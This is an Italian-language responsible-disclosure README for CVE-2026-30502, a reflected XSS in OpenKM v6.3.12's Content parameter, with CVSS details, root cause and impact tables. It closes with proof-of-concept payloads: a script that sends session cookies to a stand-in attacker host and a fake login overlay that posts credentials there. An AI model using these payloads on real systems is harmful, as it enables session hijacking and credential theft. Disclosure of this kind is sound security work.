
Documentazione e proof-of-concept per CVE-2026-30502, una vulnerabilità XSS riflessa in OpenKM v6.3.12. Include analisi tecnica, causa principale, valutazione dell'impatto e indicazioni di remediation per ricercatori di sicurezza e penetration tester.
Scoperta e segnalata da Dharmendra Kumar — Ricercatore di Sicurezza
Cybersecurity | Penetration Testing | Ricerca di Vulnerabilità | Divulgazione Responsabile
Questo repository documenta la divulgazione responsabile di CVE-2026-30502, una vulnerabilità di Cross-Site Scripting (XSS) riflesso identificata in OpenKM v6.3.12 — un sistema di gestione documentale open source ampiamente diffuso, utilizzato in ambienti enterprise e governativi.
La vulnerabilità risiede nel parametro Content, che riflette l'input fornito dall'utente nel browser senza un'adeguata sanificazione o codifica dell'output. Un attaccante può creare un URL malizioso contenente JavaScript incorporato e indurre tramite social engineering una vittima a cliccarci sopra, causando l'esecuzione di script nella sessione del browser della vittima.
⚠️ Gravità: Media–Alta | Vettore di attacco: Rete | Privilegi richiesti: Nessuno | Interazione dell'utente: Richiesta
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-30502 |
| Prodotto | OpenKM |
| Versione interessata | v6.3.12 |
| Classe di vulnerabilità | Cross-Site Scripting riflesso (XSS) |
| Parametro vulnerabile | Content |
| CWE | CWE-79: Neutralizzazione impropria dell'input durante la generazione di pagine web |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Gravità | Media–Alta |
| Editore | MITRE CVE Program |
| Ricercatore | Dharmendra Kumar |
| Tipo di divulgazione | Responsabile / Coordinata |
OpenKM è un sistema di gestione documentale (DMS) gratuito e open source che fornisce un'interfaccia web per gestire, verificare e distribuire documenti aziendali. È utilizzato da aziende, enti governativi e istituzioni educative in tutto il mondo.
v6.3.12È stata identificata una vulnerabilità di Cross-Site Scripting (XSS) riflesso in OpenKM v6.3.12 tramite il parametro Content. L'applicazione non valida né codifica l'input fornito dall'utente prima di rifletterlo nel corpo della risposta HTTP, consentendo l'iniezione e l'esecuzione di JavaScript arbitrario nel browser della vittima.
A differenza dello Stored XSS, il payload di un XSS riflesso non viene persistito nel database — viaggia invece all'interno di un URL appositamente creato. L'attacco si basa sull'induzione della vittima a cliccare un link malizioso (distribuito via email, social media o campagne di phishing), dopo di che il payload viene eseguito silenziosamente nel browser con il contesto di sessione della vittima.
Attacker crafts malicious URL
│
▼
Victim clicks the link (phishing / social engineering)
│
▼
Browser sends GET/POST request with payload in `Content` parameter
│
▼
OpenKM reflects unsanitized input directly into HTML response
│
▼
Browser parses & executes injected JavaScript
│
▼
Session hijacked / credentials harvested / account compromised
La vulnerabilità deriva dal mancato rispetto da parte dell'applicazione dei controlli di sicurezza input-output sul parametro Content:
| Debolezza | Descrizione |
|---|---|
| ❌ Nessuna validazione dell'input | Il parametro Content accetta caratteri HTML/JavaScript grezzi senza restrizioni o filtri |
| ❌ Nessuna codifica dell'output | I valori riflessi vengono scritti nella risposta HTML senza codifica delle entità HTML |
| ❌ Header CSP mancante | Nessuna Content Security Policy viene applicata per bloccare l'esecuzione di script inline |
| ❌ Nessun cookie HTTPOnly | I token di sessione sono accessibili via JavaScript, consentendo il furto diretto dei cookie |
User-Crafted URL ──► Content Parameter ──► [NO Validation]
──► Reflected in HTML Response ──► [NO Encoding]
──► Browser Executes Script ──► Account Compromised
Lo sfruttamento riuscito di questa vulnerabilità può portare a:
| Rischio | Descrizione |
|---|---|
| 🍪 Dirottamento della sessione | Rubare i token di sessione attivi tramite document.cookie per impersonare la vittima |
| 🔑 Raccolta di credenziali | Iniettare overlay di login falsi per catturare nomi utente e password in chiaro |
| 📤 Divulgazione di informazioni | Esfiltrare contenuti documentali sensibili, dati utente o configurazioni interne |
| 🎣 Attacchi di phishing | Servire pagine false convincenti ospitate all'interno del dominio fidato di OpenKM |
| 👤 Compromissione dell'account | Eseguire azioni autenticate arbitrarie per conto della vittima |
| ⚙️ Azioni non autorizzate | Modificare, eliminare o esfiltrare documenti all'interno del DMS |
| 🖥️ Distribuzione di malware | Reindirizzare le vittime a siti controllati dall'attaccante che ospitano download maliziosi |
⚠️ Disclaimer: Le seguenti informazioni sono condivise esclusivamente a scopo educativo e di ricerca sulla sicurezza, nel rispetto dei principi della divulgazione responsabile. Non testare o utilizzare quanto descritto su sistemi che non possiedi o per i quali non hai ricevuto un'esplicita autorizzazione scritta.
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>